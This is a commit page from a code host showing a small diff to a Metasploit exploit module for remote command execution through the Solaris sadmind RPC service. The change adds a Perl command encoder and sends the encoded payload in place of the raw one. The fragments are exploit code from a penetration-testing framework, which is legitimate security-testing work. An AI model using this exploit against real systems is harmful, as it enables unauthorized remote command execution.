Skip to content

Commit 373ce8d

Browse files
committed
Use perl encoding
1 parent 9da83b6 commit 373ce8d

File tree

1 file changed

+4
-3
lines changed

1 file changed

+4
-3
lines changed

modules/exploits/solaris/sunrpc/sadmind_exec.rb

Lines changed: 4 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -35,9 +35,10 @@ def initialize(info = {})
3535
'Arch' => ARCH_CMD,
3636
'Payload' =>
3737
{
38-
'Space' => 2000,
39-
'BadChars' => "\x00",
38+
'Space' => 2000,
39+
'BadChars' => "\x00",
4040
'DisableNops' => true,
41+
'EncoderType' => Msf::Encoder::Type::CmdUnixPerl,
4142
'Compat' =>
4243
{
4344
'PayloadType' => 'cmd',
@@ -84,7 +85,7 @@ def exploit
8485
end
8586

8687
sunrpc_authunix(hostname, datastore['UID'], datastore['GID'], [])
87-
response = sadmind_request(hostname, payload.raw)
88+
response = sadmind_request(hostname, payload.encoded)
8889
sunrpc_destroy
8990

9091
if /Security exception on host/.match(response)

0 commit comments

Comments
 (0)